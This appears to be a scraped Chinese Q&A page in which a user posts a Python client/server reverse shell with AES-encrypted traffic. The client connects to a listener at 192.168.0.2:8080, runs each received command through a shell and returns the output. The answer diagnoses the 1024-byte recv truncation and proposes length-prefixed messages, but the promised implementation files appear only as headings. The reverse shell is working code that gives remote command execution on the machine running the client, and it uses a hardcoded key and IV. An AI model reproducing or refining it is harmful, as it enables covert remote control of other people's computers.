我有以下python3中的简单客户机/服务器反向shell代码
它可以很好地连接,任何输出很小的命令都可以很好地工作。诸如“whoami”和列出包含一个或两个文件的目录内容的命令。问题似乎在于任何给出大输出的命令(例如列出大目录中的所有文件)或“ipconfig/all”命令。这将导致程序崩溃,出现“ValueError:填充不正确”
我相信这很简单,但我对这一点很陌生,我不确定。多谢各位
client.py
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import socket
import subprocess
key = b"H" * 32
IV = b"H" * 16
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def connect():
s = socket.socket()
s.connect(('192.168.0.2', 8080))
while True:
command = decrypt(s.recv(1024))
if 'leave' in command.decode():
break
else:
CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
s.send(encrypt(CMD.stdout.read()))
def main():
connect()
main()
server.py
import socket
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
IV = b"H" * 16
key = b"H" * 32
def encrypt(message):
encryptor = AES.new(key, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(cipher):
decryptor = AES.new(key, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(cipher)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def connect():
s = socket.socket()
s.bind(('192.168.0.2', 8080))
s.listen(1)
conn, address = s.accept()
print('Connected')
while True:
command = input("Shell> ")
if 'leave' in command:
conn.send(encrypt(b'leave'))
conn.close()
break
else:
command = encrypt(command.encode())
conn.send(command)
print(decrypt(conn.recv(1024)).decode())
def main():
connect()
main()
问题是
conn.recv(1024)
最多只能读取1024个字节,而较大命令的输出可能超过1024个字节,导致接收到不完整的密文请注意,一次读取也可以减少字节数,因此我们不知道需要读取多少字节,因为TCP是一种流协议
一个简单的解决方法是在每条消息前面加上密文长度。使用4字节(32位)作为最大密码文本端,消息如下所示:
[p1,p2,p3,p4][c1,c2,c3...]
其中p1..p4
是4个前缀字节c1... cn
是密文字节现在,当我们开始读取一条消息时,我们首先读取4个字节,将它们解释为一个整数,得到了下面密码文本的大小
示例实现:
client.py
加密
protocol.py
server.py
相关问题 更多 >
编程相关推荐